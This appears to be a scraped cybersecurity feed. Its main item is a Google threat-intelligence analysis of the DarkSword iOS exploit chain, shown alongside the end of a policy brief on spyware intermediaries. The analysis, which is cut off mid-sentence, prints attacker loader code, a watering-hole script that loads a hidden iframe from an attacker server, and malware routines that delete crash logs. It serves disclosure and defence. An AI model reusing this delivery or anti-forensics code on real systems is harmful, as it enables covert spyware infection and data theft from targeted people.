Know Your Intermediary requirements, improve corporate registries to capture more details about intermediary relationships, and create certification programs. I. Implement Know Your Vendor requirements To facilitate more effective due diligence of cyber capability transactions, governments should gain a better understanding of brokers and resellers enabling these transactions. Know Your Vendor requirements would mandate that OCC brokers and resellers disclose their supplier relationships, vendor partnerships, investors, subcontractors, and parent entities to develop a consistent reporting environment where governmentlicensing officers can assess whether prospective intermediaries have ties to sanctioned or restricted entities before signing contracts. Within the United States, the Federal Acquisition Regulatory Council should update the Federal Acquisition Regulation, Defense Federal Acquisition Regulation Supplement, and Defense Logistics Acquisition Directive to require any broker or reseller bidding on government cyber operations contracts to disclose vendor relationships, supplier networks, investors, subcontractors, and holding entities. While the Defense Logistics Acquisition Directive requires the disclosure of “the name and location of all supply chain intermediaries,” it does not require information about access providers, parent companies and holding companies, investors, and others. Within the United Kingdom, the Cabinet Office should update procurement regulations to require intermediaries providing spyware-related services to disclose complete supply chains. II. Improve corporate-run registries for brokers and resellers Government-run corporate registries are essential resources for due diligence and accountability in tracking OCC behavior. As indicated in the Mythical Beasts project series, there is work to be done to ensure these registries are comprehensive, publicly accessible, and contain verified information to bolster transparency and accountability efforts. National regulations should determine comprehensive requirements for brokering and reselling related entities in corporate registries. At minimum, registries should include: * Basic company information: Name, registration number, tax ID, address, contact details, and date of registration * Ownership details: Senior executives, management board, beneficial owners, and investors * Operational details: Number of employees, geographic scope of operations, and jurisdictions where licensed to operate * Corporate history: Name changes, mergers and acquisitions, and predecessor entities This information serves as a baseline but could be expanded to include relationships with known spyware manufacturers, telecommunications partners, and access providers. Within the United States, there is no centralized “nationwide” corporate registry, as each state maintains their own. The National Association of Secretaries of States can build out guidance on what individual states can do to bolster disclosure requirements of dual-use technology companies on their respective registries, which will more holistically capture information about brokers and resellers. By contrast, the United Kingdom has a more robust corporate registry system. Nevertheless, to improve this system to capture additional information about OCC intermediaries, the United Kingdom should encourage Parliament to amend the Companies Act 2006 to include additional information about entities connected via supply chains in the national registration. When it comes to international fora, the United Kingdom,through the Pall Mall Process, should establish a Working Group with Code of Practice signatories on how states can improve corporate registries to better capture information pertinent to intermediary and OCC marketplace behavior. The UK government should also consult civil society organizations to provide expertise through this process. III. Certified brokers and resellers program As leaders of the Pall Mall Process, the United Kingdom and France should establish internal certification programs recognizing brokers and resellers that demonstrate exceptional compliance practices and encourage other signatories to the Pall Mall Process Code of Practice for States to do the same. Utilizing the Pall Mall Code of Practice for industry as a jumping off point to establish a certification, certified brokers and resellers are eligible to receive streamlined licensing processes for low-risk transactions and have a greater likelihood of winning government contracts, encouraging other brokers and resellers in the ecosystem to pursue this certification. This recommendation is a voluntary certification program, where interested brokers and resellers can apply to be certified for the benefits overviewed above, as not every broker and reseller seeks to work directly with government clients. Certification criteria must include a government-led due diligence effort to ensure a demonstrated history of accurate disclosure, implementation of human rights impact assessments, participation in industry best practice fora, cooperation with government due diligence investigations, and consultation with civil society actors. More detail on assessment of these criteria is below. Within the United States, Bureau of Industry and Security (BIS) should administer the certification program, serving as the entity that issues, maintains, and revokes certifications. Shoring up technical expertise willenable BIS to leverage its existing expertise as the entity that oversees export controls of dual-use goods that pose potential risks to national security and can evaluate compliance through access to export violation records and licensing records. BIS can also enforce compliance, as it already oversees the “Export Controls List” on which some OCC vendors are listed. The US Department of State should coordinate and share human rights impact assessments for certification applicants, providing country and regional human rights risk assessments, and compliance with international law. This can be informed through expert consultation by civil society organizations to review and bolster the rigor of the assessment’s methodology and focus. Finally, the Office of Foreign Assets Control at the US Department of the Treasury should provide sanction screening and verification services for the certification program. In the United Kingdom, the Export Control Joint Unit (ECJU) within the Department for Business and Trade should administer the certification program, serving as the entity that issues, maintains, and revokes certifications. The ECJU, similar to BIS, can leverage its existing expertise in UK export control regulations and licensing requirements to implement and oversee this program. The Foreign Commonwealth Development Office, similar to the US Department of State, should coordinate and share human rights impact assessments for certification applicants, providing country and regional human rights risk assessments, compliance with international law, and adherence to UK human rights commitments and the Consolidated EU and National Arms Export Licensing Criteria. Finally, the Office of Financial Sanctions Implementation of His Majesty’s Treasury can administer UK sanctions screenings and compliance verifications for the certification program. Information sharing, coordination, and harmonization between various intermediary certification programs in the United States and the United Kingdom can be coordinated during the Pall Mall Process or other appropriate international fora. Conclusion The opacity of intermediaries in the OCC marketplace represents a discernible gap in current policy frameworks. This research demonstrates how intermediaries—be it brokers, resellers, or other entities—are essential enablers and connectors of the OCC supply chain. They drive proliferation by expanding market access across jurisdictions, supporting product development, and facilitating operational deployment while introducing market complications through cost escalation, product homogenization, and supply chain obfuscation. The policy recommendations highlighted in this piece reinforce a core point—transparency. They seek to bolster publicly accountably transparency without pushing legitimate vulnerability research underground. These recommendations recognize and reflect on treating intermediary roles in OCC marketplace not as a collective unit, but rather as distinct categories with a range of policy responses. When journalists, political leaders, activists, and private citizens become targets of OCCs like spyware that has been developed through intermediary chains, the opacity complicates accountability and enables ongoing surveillance of personal information and private communication. Each layer of the supply chain makes it increasingly complicated to trace the technology and sales, further complicating accountability. Adding to this, intermediaries can create vulnerabilities for national security when states are unknowingly reliant on adversarial infrastructure or indirectly funding, through acquisition of these capabilities’ adversarial vendors.   Through international momentum via the Pall Mall Process and the wide variety of policy actions to curb the proliferation and misuse of spyware and other OCC, a critical window exists to shape the future of intermediaries’ operations within the OCC supply chain and bring them out from the shadows. Acknowledgements The authors owe a debt of gratitude to the security research community, particularly to the individuals who spoke candidly about their many years of learned experiences during our roundtables and in interviews; the report authors are eternally grateful. Thank you to Winnona DeSombre Bernsen and Nikita Shah, whose valuable conversations shaped the early focus of this issue brief. To all who have contributed to the Mythical Beasts projects over the years, this project would not be the same without your valuable contributions. About the authors Jen Roberts is an associate director with the Cyber Statecraft Initiative, part of the Atlantic Council’s Tech Programs. Roberts leads CSI’s Proliferation of Offensive Cyber Capabilities work, including the management of the Mythical Beasts project series. Roberts holds an MA in International Relations and Economics from Johns Hopkins University’s School of Advanced International Studies (SAIS) and a BA in International Studies from American University’s School of International Service. Sarah Graham a nonresident fellow with the Cyber Statecraft Initiative, part of the Atlantic Council’s Tech Programs. She is also a European Union Schuman Fulbright fellow working with the Center for Democracy and Technology in Brussels. Her work focuses on European digital policies and how they might respond to intrusive and harmful uses of technologies ranging from spyware to digital platforms. Graham is also a policy research affiliate at New York University’s Center for Social Media and Politics, where she previously served as the Center’s research and operations manager and oversaw a diverse portfolio of projects and data access initiatives for interdisciplinary research teams. She has contributed to publications at the Journal of Experimental Political Science and Journal of Quantitative Description, and her writing has appeared in Brookings and Tech Policy Press. She holds degrees from the University of St. Andrews and New York University. Lyla Renwick-Archibold is a research associate in Artificial Intelligence at the Council on Foreign Relations. Renwick-Archibold previously interned at the Atlantic Council’s Cyber Statecraft Initiative, where she researched the spyware market. She also served as a Princeton in Africa Fellow based in Tanzania, where she led digital literacy and tech education initiatives in partnership with schools and local organizations. She graduated from Washington University in St. Louis with a degree in computer science, where she focused on the intersection of technology, policy, and equity. Renwick-Archibold has worked in research and product roles across the public, private, and nonprofit sectors. She served as a researcher for Coda Media, where she reported on AI, surveillance, and human rights in East Africa. Before that, at the Surveillance Technology Oversight Project, she published articles on facial recognition and digital surveillance. Related Reading Report Sep 4, 2024 Mythical Beasts and where to find them: Mapping the global spyware market and its threats to national security and human rights By Jen Roberts, Trey Herr, Nitansha Bansal, and Nancy Messieh, with Emma Taylor, Jean Le Roux, and Sopo Gelava The Mythical Beasts project pulls back the curtain on the connections between 435 entities across forty-two countries in the global spyware market. Cybersecurity Issue Brief Sep 10, 2025 Mythical Beasts: Diving into the depths of the global spyware market By Sarah Graham, Jen Roberts, and Nitansha Bansal The second edition of the Mythical Beasts project assess how the global spyware market has developed and changed over the past year. Cybersecurity Conflict, Risk, and Tech Sep 4, 2024 Mythical Beasts and where to find them: Data and methodology By Jen Roberts, Trey Herr, Nitansha Bansal, and Nancy Messieh, with Emma Taylor, Jean Le Roux, and Sopo Gelava Learn more about the methodology and dataset behind Mythical Beasts and where to find them: Mapping the global spyware market and its threats to national security and human rights Cybersecurity Explore the Program The Atlantic Council’s Cyber Statecraft Initiative, part of the Atlantic Council Technology Programs, works at the nexus of geopolitics and cybersecurity to craft strategies to help shape the conduct of statecraft and to better inform and secure users of technology. learn more 1    Roundtable #1 (virtual), November 13, 2025.2    Roundtable #1. 3    Roundtable #1.4    As early as 2012, RCS facilitated the sale of Hacking Team products and services, including Hacking Team’s Remote Control System (RCS), to government agencies in Bangladesh, Pakistan, and Turkmenistan. In 2022, security researchers at Lookout determined RCS Lab created and sold the Hermit spyware, and it continues to operate as a spyware vendor.5    Roundtable #1; Roundtable #2 (virtual), December 16, 2025.6    Roundtable #1.7    Roundtable #1; Roundtable #2. 8    Roundtable #1.9    Roundtable #1. 10    Roundtable #2.11    Roundtable #212    Roundtable #2 13    Roundtable #2.14    Roundtable #1; Roundtable #2.15    Roundtable #1.16    Roundtable #1. The post Mythical Beasts: Investigating the role of intermediaries in the proliferation of offensive cyber capabilities appeared first on Atlantic Council.

Mythical Beasts: Investigating the role of intermediaries in the proliferation of offensive cyber capabilities #cybersecurity #infosec

1 month ago 1 0 0 0
Advertisement
Preview
North Korea's 100,000-strong fake IT worker army rake in $500M a year for Kim Jong Un Researchers map full org chart of the scam from dodgy recruiters to helpful Western collaborators Researchers at IBM X‑Force and Flare Research have uncovered data that sheds light on how North Korea's fake IT worker schemes operate and infiltrate companies in order to funnel money back to the regime and steal sensitive information.…

North Korea's 100,000-strong fake IT worker army rake in $500M a year for Kim Jong Un #cybersecurity #infosec

1 month ago 3 0 0 0
Preview
Exclusive: Iran attack damage wipes out 17% of Qatar’s LNG capacity for three to five years, QatarEnergy CEO says Iran’s attacks ‌on Qatar have damaged facilities that produce 17% ​of the company’s ​liquefied natural gas export capacity ⁠and it will ​take three to five years ​to repair them, QatarEnergy CEO Saad ...

Oh man, the hit at Ras Laffan has taken almost 20% of output (i.e. roughly 3% of global LNG volumes) offline for *3-5 years*.

1 month ago 2042 809 37 279
Preview
The Proliferation of DarkSword: iOS Exploit Chain Adopted by Multiple Threat Actors Introduction  Google Threat Intelligence Group (GTIG) has identified a new iOS full-chain exploit that leveraged multiple zero-day vulnerabilities to fully compromise devices. Based on toolmarks in recovered payloads, we believe the exploit chain to be called DarkSword. Since at least November 2025, GTIG has observed multiple commercial surveillance vendors and suspected state-sponsored actors utilizing DarkSword in distinct campaigns. These threat actors have deployed the exploit chain against targets in Saudi Arabia, Turkey, Malaysia, and Ukraine. DarkSword supports iOS versions 18.4 through 18.7 and utilizes six different vulnerabilities to deploy final-stage payloads. GTIG has identified three distinct malware families deployed following a successful DarkSword compromise: GHOSTBLADE, GHOSTKNIFE, and GHOSTSABER. The proliferation of this single exploit chain across disparate threat actors mirrors the previously discovered Coruna iOS exploit kit. Notably, UNC6353, a suspected Russian espionage group previously observed using Coruna, has recently incorporated DarkSword into their watering hole campaigns. In this blog post, we examine the uses of DarkSword by these distinct threat actors, provide an analysis of their final-stage payloads, and describe the vulnerabilities leveraged by DarkSword. GTIG reported the vulnerabilities used in DarkSword to Apple in late 2025, and all vulnerabilities were patched with the release of iOS 26.3 (although most were patched prior). We have added domains involved in DarkSword delivery to Safe Browsing, and strongly urge users to update their devices to the latest version of iOS. In instances where an update is not possible, it is recommended that Lockdown Mode be enabled for enhanced security. This research is published in coordination with our industry partners at Lookout and iVerify. Discovery Timeline GTIG has identified several different users of the DarkSword exploit chain dating back to November 2025. In addition to the case studies on DarkSword usage documented in this blog post, we assess it is likely that other commercial surveillance vendors or threat actors may also be using DarkSword. Figure 1: Timeline of DarkSword observations and vulnerability patches Saudi Arabian Users Targeted via Snapchat-Themed Website (UNC6748) In early November 2025, GTIG identified the threat cluster UNC6748 leveraging a Snapchat-themed website, snapshare[.]chat, to target Saudi Arabian users (Figure 2). The landing page on the website included JavaScript code using a mix of obfuscation techniques, and created a new IFrame that pulled in another resource at frame.html (Figure 3). The landing page JavaScript also set a session storage key named uid, and checked if that key was already set prior to creating the IFrame that fetches the next delivery stage. We assess this is to prevent re-infecting prior victims. In subsequent observations of UNC6748 throughout November 2025, we observed them update the landing page to include anti-debugging and additional obfuscation to hinder analysis. We also identified additional code added when the actor attempts to infect a user using Chrome, where the x-safari-https protocol handler is used to open the page in Safari (Figure 4). This suggests that UNC6748 didn't have an exploit chain for Chrome at the time of this activity. During the infection process, the victim is redirected to a legitimate Snapchat website in an attempt to masquerade the activity. frame.html is a simple HTML file that dynamically injects a new script tag that loads in the main exploit loader, rce_loader.js (Figure 5). The loader performs some initialization used by subsequent stages, and fetches a remote code execution (RCE) exploit from the server using XMLHttpRequest (Figure 6). We observed UNC6748 activity multiple times throughout November 2025, where both major and minor updates were made to their infection process: * The first UNC6748 activity we observed only had support for one RCE exploit split across two files, rce_module.js and rce_worker_18.4.js (Figure 7). This exploit primarily leveraged CVE-2025-31277, a memory corruption vulnerability in JavaScriptCore (the JavaScript engine used in WebKit and Apple Safari), and also CVE-2026-20700, a Pointer Authentication Codes (PAC) bypass in dyld. * We then identified activity several days later where another RCE exploit was added, rce_worker_18.6.js (Figure 8). This exploit used CVE-2025-43529, a different memory corruption vulnerability in JavaScriptCore, alongside the same CVE-2026-20700 exploit in the same file. * The loader was modified to also fetch a rce_module_18.6.js payload, which only defined a simple function that was not observed in use elsewhere. * However, the logic implemented for this did not correctly serve the iOS 18.4 exploit if the device version wasn't 18.6, and did not account for the existence of iOS 18.7, even though it was released two months prior in September 2025. This suggests that this update may have been originally written months prior to UNC6748 acquiring and/or deploying it. * Later in November 2025, we observed another module added, rce_worker_18.7.js (Figure 9). This was an updated version of rce_worker_18.6.js, but with offsets added to support iOS 18.7. * There was also a logic flaw in the loader in this case, as it loaded the exploit for iOS 18.7 regardless of the detected device version. In our observations, UNC6748 used the same modules for sandbox escapes and privilege escalation, along with the same final payload, GHOSTKNIFE. Figure 2: snapshare[.]chat decoy page if (!sessionStorage.getItem("uid") && isTouchScreen) { sessionStorage.setItem("uid", '1'); const frame = document.createElement("iframe"); frame.src = "frame.html?" + Math.random(); frame.style.height = 0; frame.style.width = 0; frame.style.border = "none"; document.body.appendChild(frame); } else { top.location.href = "red"; } Figure 3: Landing page snippet that loads frame.html (UNC6748, November 2025) Figure 4: frame.html contents (UNC6748, November 2025) if (typeof browser !== "undefined" || !isIphone()) { console.log(""); } else { location.href = "x-safari-https://snapshare.chat/"; } Figure 5: Landing page code snippet showing x-safari-https use (UNC6748, November 2025) function getJS(fname,method = 'GET') { try { url = fname; print(`trying to fetch ${method} from: ${url}`); let xhr = new XMLHttpRequest(); xhr.open("GET", `${url}` , false); xhr.send(null); return xhr.responseText; } catch(e) { print("got error in getJS: " + e); } } Figure 6: rce_loader.js snippet showing the logic for fetching additional stages (UNC6748, November 2025) let workerCode = ""; workerCode = getJS(`rce_worker_18.4.js`); // local version let workerBlob = new Blob([workerCode],{type:'text/javascript'}); let workerBlobUrl = URL.createObjectURL(workerBlob); Figure 7: rce_loader.js snippet showing a single RCE exploit worker being loaded (UNC6748, November 2025) let workerCode = ""; if(ios_version == '18,6' || ios_version == '18,6,1' || ios_version == '18,6,2') workerCode = getJS(`rce_worker_18.6.js?${Date.now()}`); // local version else workerCode = getJS(`rce_worker_18.6.js?${Date.now()}`); // local version let workerBlob = new Blob([workerCode],{type:'text/javascript'}); let workerBlobUrl = URL.createObjectURL(workerBlob); Figure 8: rce_loader.js snippet showing (attempted) support for different RCE exploit workers (UNC6748, November 2025) let workerCode = ""; if(ios_version == '18,7') workerCode = getJS(`rce_worker_18.7.js?${Date.now()}`); // local version else workerCode = getJS(`rce_worker_18.7.js?${Date.now()}`); // local version let workerBlob = new Blob([workerCode],{type:'text/javascript'}); let workerBlobUrl = URL.createObjectURL(workerBlob); Figure 9: rce_loader.js snippet with iOS 18.7 support added (UNC6748, November 2025) GHOSTKNIFE In this activity, we observed UNC6748 deploy a backdoor GTIG tracks as GHOSTKNIFE. GHOSTKNIFE, written in JavaScript, has several modules for exfiltrating different types of data, including signed-in accounts, messages, browser data, location history, and recordings. It also supports downloading files from the C2 server, taking screenshots, and recording audio from the device's microphone. GHOSTKNIFE communicates with its C2 server using a custom binary protocol over HTTP, encrypted using a scheme based on ECDH and AES. GHOSTKNIFE can update its config with new parameters from its C2 server. GHOSTKNIFE writes files to disk during its execution under /tmp/., where uuid is a randomly generated UUIDv4 value and numbers is a hard-coded sequence of several digits. Under that directory, it creates multiple subfolders including STORAGE, DATA, and TMP. As each module of GHOSTKNIFE executes, it writes its data to /tmp/./STORAGE/., where id is the numeric value of the module and uuid2 is a different randomly generated UUIDv4 value. Additionally, GHOSTKNIFE periodically erases crash logs from the device to cover its tracks in case of unexpected failures (Figure 10). cleanLogs(){ let files = MyHelper.getContentsOfDir("/var/mobile/Library/Logs/CrashReporter/"); for(let file of files){//.ips // mediaplaybackd-" panic-full- if(file.includes("mediaplaybackd") || file.includes("SpringBoard") || file.includes("com.apple.WebKit.") || file.includes("panic-full-") ){ MyHelper.deleteFileAtPath(file); } } } Figure 10: GHOSTKNIFE snippet responsible for deleting crash logs Campaigns Targeting Users in Turkey and Malaysia (PARS Defense) In late November 2025, GTIG observed activity associated with the Turkish commercial surveillance vendor PARS Defense where DarkSword was used in Turkey, with support for iOS 18.4-18.7. Unlike the UNC6748 activity, this campaign was carried out with more attention to OPSEC, with obfuscation applied to the exploit loader and some of the exploit stages, and the use of ECDH and AES to encrypt exploits between the server and the victim (Figure 11). Additionally, the obfuscated version of rce_loader.js used by PARS Defense fetched the correct RCE exploit depending on the detected iOS version (Figure 12). Subsequently, in January 2026, GTIG observed additional activity in Malaysia associated with a different PARS Defense customer. In this case, we were able to collect a different loader used in the activity, which contains additional device fingerprinting logic, and also used the uid session storage check. This loader also uses the top.location.href redirect for targets that do not pass all of the checks like UNC6748 did, but also sets window.location.href to the same URL (Figure 13). Where available, GTIG identified a different final payload used in this activity, a backdoor we track as GHOSTSABER. function getJS(_0x12fba8) { const _0x35744f = generateKeyPair(); const _0x4a6eb4 = exportPublicKeyAsPem(_0x35744f.publicKey); const _0x1bc168 = self.btoa(_0x4a6eb4); const _0x119092 = { 'a': _0x1bc168 }; _0x12fba8 = _0x12fba8.startsWith('/') ? _0x12fba8 : '/' + _0x12fba8; const _0x1fedd2 = new XMLHttpRequest(); _0x1fedd2.open('POST', 'https://' + (_0x12fba8 + '?' + Date.now()), false); _0x1fedd2.setRequestHeader('Content-Type', 'application/json'); _0x1fedd2.send(JSON.stringify(_0x119092)); if (_0x1fedd2.status === 0xc8) { const _0x362968 = JSON.parse(_0x1fedd2.responseText); const _0x32efb2 = _0x362968.a; const _0x46ca4b = _0x362968.b; const _0xfae3b8 = b64toUint8Array(_0x32efb2); const _0x2f4536 = b64toUint8Array(_0x46ca4b); const _0xa36b4f = deriveAesKey(_0x35744f.privateKey, _0x2f4536); const _0x36e338 = decryptData(_0xfae3b8, _0xa36b4f); const _0x50186a = new TextDecoder().decode(_0x36e338); return _0x50186a; } return null; } Figure 11: Deobfuscated getJS() snippet from the DarkSword loader (PARS Defense, November 2025) let workerCode = ''; if (ios_version == '18,6' || ios_version == '18,6,1' || ios_version == '18,6,2' || ios_version == '18,7') { workerCode = getJS('6cde159c.js?' + Date.now()); } else { workerCode = getJS('a9bc5c66.js?' + Date.now()); } let workerBlob = new Blob([workerCode], { 'type': 'text/javascript' }); let workerBlobUrl = URL.createObjectURL(workerBlob); Figure 12: Deobfuscated snippet for loading the RCE workers (PARS Defense, November 2025) if (!sessionStorage.getItem('uid') && canUseApplePay() && "standalone" in navigator && (CSS.supports("backdrop-filter: blur(10px)") || CSS.supports("-webkit-backdrop-filter: blur(10px)")) && document.pictureInPictureEnabled && !(typeof window.chrome === "object" && window.chrome !== null) && !('InstallTrigger' in window) && supportsWebGL2() && getDeviceInputInfo() && !("vibrate" in navigator) && debuggerCheck()) { (() => { function _0x45e723(_0x52731a) { const _0x43f8d9 = generateKeyPair(); const _0x427066 = exportPublicKeyAsPem(_0x43f8d9.publicKey); const _0x5cfee7 = self.btoa(_0x427066); const _0x96910f = { 'a': _0x5cfee7 }; _0x52731a = _0x52731a.startsWith('/') ? _0x52731a : '/' + _0x52731a; const _0x436cc4 = new XMLHttpRequest(); _0x436cc4.open("POST", 'https://' + (_0x52731a + '?' + Date.now()), false); _0x436cc4.setRequestHeader('Content-Type', "application/json"); _0x436cc4.send(JSON.stringify(_0x96910f)); if (_0x436cc4.status === 0xc8) { const _0x4a4193 = JSON.parse(_0x436cc4.responseText); const _0x362b30 = _0x4a4193.a; const _0x536004 = _0x4a4193.b; const _0x183b3f = b64toUint8Array(_0x362b30); const _0x46bbee = b64toUint8Array(_0x536004); const _0x43e600 = deriveAesKey(_0x43f8d9.privateKey, _0x46bbee); const _0x2e0735 = decryptData(_0x183b3f, _0x43e600); const _0x26a8b1 = new TextDecoder().decode(_0x2e0735); return _0x26a8b1; } return null; } let _0x100ce6 = _0x45e723('6297d177.html?' + Math.random()); const _0x5f5a7d = document.createElement("iframe"); _0x5f5a7d.srcdoc = _0x100ce6; _0x5f5a7d.style.height = 0x0; _0x5f5a7d.style.width = 0x0; _0x5f5a7d.style.border = 'none'; document.body.appendChild(_0x5f5a7d); })(); } else { top.location.href = ""; window.location.href = ''; } Figure 13: Deobfuscated landing page snippet to fetch the DarkSword loader (PARS Defense, January 2026) GHOSTSABER GHOSTSABER is a JavaScript backdoor used by PARS Defense that communicates with its C2 server over HTTP(S). Its capabilities include device and account enumeration, file listing, data exfiltration, and the execution of arbitrary JavaScript code; a complete list of its supported commands is detailed in Table 1. Observed GHOSTSABER samples contain references to several commands that lack the necessary code to be executed, including some that purport to record audio from the device's microphone and send the device's current geolocation to the C2 server. These commands use a function called send_command_to_upper_process, which writes to a shared memory region that is otherwise unused in the implant. We suspect that a follow-on binary module may be downloaded from the C2 server to implement these commands at runtime. Command Description ChangeStatusCheckSleepInterval Changes the sleep duration between C2 check-ins SendDeviceInfo Uploads basic device information to the C2 server SendUserAccountsList Uploads a list of the signed-in accounts on the device to the C2 server SendAppList Uploads a list of the installed applications to the C2 server SendCurrentLocation Not directly implemented ExecuteSqliteQuery Executes an arbitrary SQL query against an arbitrary SQLite database and uploads the results to the C2 server UnwrapKey No-op SendScreenshot Not directly implemented SendWiFiInfo Not directly implemented SendThumbnails Uploads thumbnails from iOS' Photos app within a specified time period to the C2 server SendApp Uploads all of the files for a specified installed application to the C2 server RecordAudio Not directly implemented SendFiles Uploads a list of arbitrary files to the C2 server SendRegEx Uploads a list of files with paths matching a specified regex pattern to the C2 server SendFileList Uploads a recursive list of files and metadata in a specified directory to the C2 server EvalJs Executes an arbitrary JavaScript blob and uploads the output to the C2 server Table 1: Commands supported by GHOSTSABER New Ukrainian Watering Hole Activity From UNC6353 GTIG observed the suspected Russian espionage actor UNC6353 leveraging DarkSword in a new watering hole campaign targeting Ukrainian users. As mentioned in our recent blog post, we first began tracking UNC6353 in summer 2025 as a threat cluster conducting watering hole attacks on Ukrainian websites to deliver Coruna. This new activity, which has been active through March 2026 but dates back to at least December 2025, leverages the DarkSword exploit chain to deploy GHOSTBLADE. GTIG notified and collaborated with CERT-UA to mitigate this activity. Compromised Ukrainian websites were updated to include a malicious script tag that fetched the first delivery stage from an UNC6353 server, static.cdncounter[.]net (Figure 14). This script (Figure 15) dynamically creates a new IFrame and sets its source to a file called index.html on the same server (Figure 16). While index.html bears some overlap with the landing page logic used by UNC6748 and PARS Defense, it sets the uid session storage key without checking the session's current state, and includes a Russian language comment that translates to "if uid is still needed, just install it." Notably, the observed UNC6353 use of DarkSword only supported iOS 18.4-18.6. While earlier DarkSword use attributed to UNC6748 and PARS Defense also supported iOS 18.7, we did not observe that from UNC6353, despite their later operational timeline. However, the loader used in this version correctly loaded the RCE modules corresponding to the running iOS version, which we didn't observe in UNC6748's use of DarkSword with only iOS 18.4-18.6 support (Figure 17). Figure 14: Malicious script tag used by UNC6353 (March 2026) (function () { const iframe = document.createElement("iframe"); iframe.src = "https://static.cdncounter.net/assets/index.html"; iframe.style.width = "1px"; iframe.style.height = "1px"; iframe.style.border = "0"; iframe.style.position = "absolute"; iframe.style.left = "-9999px"; iframe.style.opacity = "0.01"; // важно для Safari iframe.setAttribute( "sandbox", "allow-scripts allow-same-origin" ); document.body.appendChild(iframe); })(); Figure 15: widgets.js (UNC6353, March 2026) Test Page // если uid всё ещё нужен — просто устанавливаем sessionStorage.setItem('uid', '1'); const frame = document.createElement('iframe'); frame.src = 'frame.html?' + Math.random(); frame.style.width = '1px'; frame.style.opacity = '0.01' frame.style.position = 'absolute'; frame.style.left = '-9999px'; frame.style.height = '1px'; frame.style.border = 'none'; document.body.appendChild(frame); Figure 16: index.html (UNC6353, March 2026) let workerCode = ""; if(ios_version == '18,6' || ios_version == '18,6,1' || ios_version == '18,6,2') workerCode = getJS(`rce_worker_18.6.js?${Date.now()}`); // local version else workerCode = getJS(`rce_worker_18.4.js?${Date.now()}`); // local version let workerBlob = new Blob([workerCode],{type:'text/javascript'}); let workerBlobUrl = URL.createObjectURL(workerBlob); Figure 17: rce_loader.js snippet for loading the RCE exploit workers (UNC6353, March 2026) GHOSTBLADE Following device infections from these watering holes, UNC6353 deployed a malware family GTIG tracks as GHOSTBLADE. GHOSTBLADE is a dataminer written in JavaScript that collects and exfiltrates a wide variety of data from a compromised device (Table 2). Data collected by GHOSTBLADE is exfiltrated to an attacker-controlled server over HTTP(S). Unlike GHOSTKNIFE and GHOSTSABER, GHOSTBLADE is less capable and does not support any additional modules or backdoor-like functionality; it also does not operate continuously. However, similar to GHOSTKNIFE, GHOSTBLADE also contains code to delete crash reports, but targets a different directory where they may be stored (Figure 18). The GHOSTBLADE sample observed in this activity had full debug logging present along with lots of comments in the code. Notably, the GHOSTBLADE sample analyzed by GTIG contains a comment and code block conditionally executing code on iOS versions greater than or equal to 18.4, which is the minimum supported version by DarkSword (Figure 19; note that ver is parsed from uname, which returns the XNU version). This suggests the payload also supports running on versions lower than 18.4, which isn't supported by DarkSword. Category Collected Data Communication and Messaging iMessage database, Telegram data, WhatsApp data, mail indexes, call logs, contacts interaction data, contacts Identity and Access Device/account identifiers, signed in accounts, device keychains, SIM card info, device profiles Location and Mobility Location history, saved/known WiFi networks and passwords, Find My iPhone settings, location services settings Personal Content and Media Photos metadata, hidden photos, screenshots, iCloud Drive files, Notes database, Calendar database Financials and Transactions Cryptocurrency wallet data Usage and Behavioral Data Safari history/bookmarks/cookies, Health database, device personalization data System and Connectivity List of installed applications, Backup settings/info, cellular usage/data info, App Store preferences Table 2: Data collected by GHOSTBLADE static deleteCrashReports() { this.getTokenForPath("/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/",true); libs_JSUtils_FileUtils__WEBPACK_IMPORTED_MODULE_0__["default"].deleteDir("/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/",true); } Figure 18: GHOSTBLADE code snippet used for deleting crash logs // If iOS >= 18.4 we apply migbypass in order to bypass autobox restrictions if (ver.major == 24 && ver.minor >= 4) { mutexPtr = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("malloc", 0x100)); libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("pthread_mutex_init", mutexPtr, null); migFilterBypass = new MigFilterBypass(mutexPtr); } Figure 19: Code conditionally executed on iOS 18.4+ in GHOSTBLADE DarkSword Exploit Chain As mentioned, DarkSword uses six different vulnerabilities to fully compromise a vulnerable iOS device and run a final payload with full kernel privileges (Table 3). Unlike Coruna, DarkSword only supports a limited set of iOS versions (18.4-18.7), and while the different exploit stages are technically sophisticated, the mechanisms used for loading the exploits were more basic and less robust than Coruna. Also unlike Coruna, DarkSword uses pure JavaScript for all stages of the exploit chain and final payloads. While more sophistication is required to bridge between JavaScript and the native APIs and IPC channels used in the exploit, its use eliminates the need to identify vulnerabilities for bypassing Page Protection Layer (PPL) or Secure Page Table Monitor (SPTM) exploit mitigations in iOS that prevent unsigned binary code from being executed. Exploit Module CVE Description Exploited as a Zero-Day Patched in iOS Version(s) rce_module.js CVE-2025-31277 Memory corruption vulnerability in JavaScriptCore No 18.6 rce_worker_18.4.js CVE-2026-20700 User-mode Pointer Authentication Code (PAC) bypass in dyld Yes 26.3 rce_worker_18.6.js rce_worker_18.7.js CVE-2025-43529 Memory corruption vulnerability in JavaScriptCore Yes 18.7.3, 26.2 CVE-2026-20700 User-mode Pointer Authentication Code (PAC) bypass in dyld Yes 26.3 sbox0_main_18.4.js sbx0_main.js CVE-2025-14174 Memory corruption vulnerability in ANGLE Yes 18.7.3, 26.2 sbx1_main.js CVE-2025-43510 Memory management vulnerability in the iOS kernel No 18.7.2, 26.1 pe_main.js CVE-2025-43520 Memory corruption vulnerability in the iOS kernel No 18.7.2, 26.1 Table 3: Exploits used in DarkSword Figure 20: DarkSword infection chain Exploit Delivery There are notable similarities and differences between the exploit delivery implementations used by UNC6748, PARS Defense, and UNC6353. We assess that each of the actors built their delivery mechanisms on a base set of logic from the DarkSword developers, and made tweaks to fit their own needs. All three actors had some usage of the uid session storage key, but not all in the same way: * We consistently saw UNC6748 landing pages both set the uid key, and check it before fetching the exploit loader. * UNC6748 only set the top.location.href property to redirect users if they weren't to be infected. * PARS Defense used the uid key in the same way in January 2026, but the initial activity we saw in November 2025 didn't include it. * Like UNC6748, PARS Defense set top.location.href, but also set window.location.href to the same value. * UNC6353 set the uid key, but did not check it before fetching the exploit loader; a comment in the source code suggests that they did not know if it was required by the subsequent stages. Based on the actors' differing usages, we assess that this session storage check logic, along with the subsequent logic using frame.html to then fetch rce_loader.js as observed from UNC6748 and UNC6353, was developed by the DarkSword exploit chain developers. We assess that the additional 